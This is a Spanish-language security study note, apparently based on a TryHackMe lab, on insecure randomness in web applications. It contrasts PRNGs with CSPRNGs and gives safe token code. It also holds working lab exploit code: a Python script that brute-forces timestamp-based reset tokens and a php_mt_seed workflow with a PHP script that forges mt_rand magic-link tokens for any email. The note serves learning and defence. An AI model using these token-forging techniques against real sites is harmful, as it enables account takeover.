Aleatoriedad insegura
La aleatoriedad insegura ocurre cuando las aplicaciones web usan generadores de números pseudoaleatorios (PRNG) predecibles o fuentes de entropía débiles para generar tokens de seguridad…
Definición
La aleatoriedad insegura ocurre cuando las aplicaciones web usan generadores de números pseudoaleatorios (PRNG) predecibles o fuentes de entropía débiles para generar tokens de seguridad, IDs de sesión, claves criptográficas o nonces. Si los valores son predecibles, un atacante puede reproducirlos para comprometer autenticación, tomar control de cuentas o descifrar datos protegidos.
La aleatoriedad es el fundamento de la criptografía moderna: una clave, token o nonce predecible convierte un sistema “seguro” en uno trivialmente comprometible.
Contexto
Conceptos fundamentales
-
Entropía: cantidad de aleatoriedad o impredecibilidad en un sistema. Mayor entropía = mayor dificultad para adivinar valores. Una clave generada con
timestamptiene entropía muy baja; una generada con/dev/urandomtiene entropía alta. -
Seed (semilla): valor inicial que alimenta un PRNG. Mismo seed → misma secuencia de números. Si el seed es predecible (timestamp, PID, datos del usuario), toda la secuencia es reproducible.
-
Session tokens e identificadores únicos: deben ser impredecibles para prevenir hijacking de sesión y account takeover.
Tipos de generadores
| Tipo | Fuente | Determinismo | Uso seguro |
|---|---|---|---|
| TRNG (True RNG) | Hardware físico (ruido térmico, decaimiento radiactivo) | No determinista | ✅ Sí (costoso, lento) |
| PRNG estadístico | Algoritmo + seed | Determinista | ❌ No para criptografía |
| CSPRNG (Cryptographically Secure PRNG) | Entropía del SO (/dev/urandom, HKDF) |
Computacionalmente impredecible | ✅ Sí |
TRNG: hardware especializado que capta fenómenos físicos impredecibles. Usado para generar claves RSA/ECC. Lento y requiere hardware dedicado.
PRNG estadístico: rand(), mt_rand() en PHP, java.util.Random. Rápidos, suficientes para simulaciones y juegos. Nunca para tokens de seguridad.
CSPRNG: random_bytes(), openssl_random_pseudo_bytes() en PHP; java.security.SecureRandom; os.urandom() en Python; /dev/urandom en Linux. Resistentes a predicción incluso con conocimiento parcial del estado interno.
Desarrollo
Vector 1 — Entropía débil: tokens con timestamp
Patrón vulnerable: generar tokens concatenando datos predecibles como el username + timestamp UNIX.
// VULNERABLE — No usar en producción$token = $user_id . time();$update = $db->prepare("UPDATE users SET reset_token = :token WHERE username = :username");El token resultante para victim en el timestamp 1726644813 sería: victim1726644813.
Por qué es débil:
time()retorna segundos enteros → el espacio de búsqueda es ~86.400 valores por día (segundos en un día).- El atacante puede solicitar su propio token, observar la respuesta del servidor con el timestamp, y forzar bruta un rango de ±5 minutos alrededor de ese momento.
Explotación (Python):
# Solo en laboratorio controladoimport requests, sys
def brute_force_token(username, start_timestamp): url = "http://random.thm:8090/case/reset_password.php" for i in range(-300, 0): # -5 minutos token = f"{username}{start_timestamp + i}" r = requests.get(url, params={'token': token}) if "Invalid or expired token." not in r.text: print(f"[+] Token válido: {token}") return token print("[-] Token no encontrado") return None
# Uso: python exploit.py victim 1726645297brute_force_token(sys.argv[1], int(sys.argv[2]))Resultado: con ~300 intentos, se encuentra el token exacto y se puede cambiar la contraseña de la víctima.
Vector 2 — Seed predecible en PRNG: magic links con mt_rand()
Patrón vulnerable: usar PHP’s mt_rand() (Mersenne Twister) sembrado con valores derivados de datos del usuario.
// VULNERABLE — No usar en producciónmt_srand(CONSTANT_VALUE + crc32($email));$random_number = mt_rand();$token = base64_encode($random_number);La función mt_rand() es determinista: el mismo seed produce siempre la misma secuencia. Si el seed es CONSTANT_VALUE + CRC32(email) y el atacante obtiene un token para su propio email, puede:
- Decodificar el token Base64 para obtener el número aleatorio.
- Usar php_mt_seed para encontrar el seed que produjo ese número.
- Calcular
CONSTANT_VALUE = seed - CRC32(mi_email). - Para cualquier email víctima, calcular
seed_victima = CONSTANT_VALUE + CRC32(email_victima). - Reproducir exactamente el token generado para la víctima.
Proceso de explotación:
# Paso 1: Decodificar token Base64# Token: MTEzNTUwODU0MQ== → Número: 1135508541
# Paso 2: Encontrar el seed (solo en laboratorio)./php_mt_seed 1135508541# Output: seed = 0x39dc3504 = 970732804 (PHP 7.1.0+)
# Paso 3: Calcular CRC32 del email en CyberChef# CRC32("magic@mail.random.thm") = 970731467
# Paso 4: CONSTANT_VALUE = seed - CRC32 = 970732804 - 970731467 = 1337Con CONSTANT_VALUE = 1337, el atacante puede generar tokens para cualquier email víctima:
<?php// Generar token para víctima (PHP script)$email = "victim@example.com";$constant = 1337;$seed = crc32($email) + $constant;mt_srand($seed);$token = base64_encode(mt_rand());echo "Token: " . $token;?>O en Python (simulando la lógica):
import struct, zlib, base64
def php_mt_rand_prediction(email, constant): crc = zlib.crc32(email.encode()) & 0xFFFFFFFF seed = (crc + constant) & 0xFFFFFFFF # php_mt_seed requiere el cálculo interno de PHP mt_rand # Usar el script PHP o la herramienta php_mt_seed para el valor real return seed⚠️ Solo en laboratorio. El uso contra cuentas reales es ilegal.
Herramienta: php_mt_seed
- Propósito: dados los outputs de
mt_rand(), encuentra posibles seeds que podrían haberlos generado. - Velocidad: ~58 Mseeds/s en hardware moderno.
- Descarga: https://www.openwall.com/php_mt_seed/
- Uso:
./php_mt_seed <número_mt_rand> - Puede devolver múltiples seeds; hay que probar cada uno en el entorno objetivo para verificar cuál es el correcto.
Diferencia entre espacios de búsqueda
| Método | Espacio de búsqueda | Tiempo de fuerza bruta (estimado) |
|---|---|---|
| Timestamp (unix, segundos) | ~3×10⁹ (desde 1970) | Minutos con script |
| mt_rand() con seed conocido | 1 opción | Instantáneo |
| CSPRNG (32 bytes) | 2²⁵⁶ | Infactible |
Ejemplos
Detección en pentesting:
- Comparar múltiples tokens para el mismo usuario: si tienen patrón predecible (secuencial, basado en tiempo), hay fallo.
- Decodificar Base64/Hex de tokens y buscar timestamps u otros valores predecibles.
- Si el servidor responde rápido a tokens casi correctos (timing difference), puede haber comportamiento oracle.
Implementación segura de token de reset (PHP):
// SEGURO$token = bin2hex(random_bytes(32)); // 64 caracteres hex, 256 bits de entropía$expiry = time() + 3600; // 1 hora de validez$stmt = $db->prepare("UPDATE users SET reset_token = :token, token_expiry = :expiry WHERE id = :id");$stmt->execute([':token' => $token, ':expiry' => $expiry, ':id' => $user_id]);Implementación segura de token (Python):
import secretstoken = secrets.token_hex(32) # 64 hex chars, 256 bits# O como URL-safe:token = secrets.token_urlsafe(32)Pitfalls
- “Uso
rand(), que es suficientemente aleatorio”:rand()ymt_rand()son pseudoaleatorios estadísticos, no criptográficamente seguros. Son deterministas dado el seed. - “El timestamp cambia cada segundo, no se puede adivinar”: el espacio de búsqueda de timestamps es pequeño. Un atacante puede iterar un día entero (86.400 valores) en segundos.
- “Ofusco el seed con el email del usuario”: CRC32 es determinista y público. Si el atacante conoce el email y un token, puede derivar la constante y predecir tokens para cualquier usuario.
- “Uso PRNG sembrado con
/dev/urandom, estoy seguro”: si el seed es de/dev/urandomy suficientemente largo, y no se reutiliza entre requests, sí es seguro. El problema es cuando el seed es predecible o derivable. - “Solo los tokens de contraseñas son críticos”: IDs de sesión, cookies de autenticación, nonces en OAuth, claves de API temporales y tokens de magic link tienen los mismos requisitos de aleatoriedad.
- “Uso UUID v4, ¿hay riesgo?”: UUID v4 usa CSPRNG en implementaciones correctas. En algunas plataformas antiguas puede usar
rand(). Verificar la fuente de aleatoriedad del generador.
Diagrama
flowchart TD
A[Atacante ve token del victim] --> B{¿Patrón predecible?}
B -->|Timestamp + username| C[Brute force timestamp ±5 min]
B -->|Base64 de mt_rand| D[Decodificar → número mt_rand]
D --> E[php_mt_seed → posibles seeds]
E --> F[Calcular CONSTANT = seed - CRC32 del email]
F --> G[Reproducir token para cualquier víctima]
C --> H[Iterar tokens con Python]
G --> I[Account Takeover]
H --> I
B -->|CSPRNG 256 bits| J[Espacio inviable → Seguro]
Referencias
- TryHackMe — Insecure Randomness: https://tryhackme.com/room/insecurerandomness
- php_mt_seed (Openwall): https://www.openwall.com/php_mt_seed/
- Ambionics — PHP mt_rand prediction: https://www.ambionics.io/blog/php-mt-rand-prediction
- OWASP A02 — Cryptographic Failures: https://owasp.org/Top10/A02_2021-Cryptographic_Failures/
- NIST SP 800-90A — DRBG recommendations: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-90Ar1.pdf
- CyberChef (CRC32 + decode): https://gchq.github.io/CyberChef/
- Unix Timestamp tool: https://www.unixtimestamp.com/
Ver también: Cryptographic Failures, Hash Length Extension Attack, Padding Oracle Attack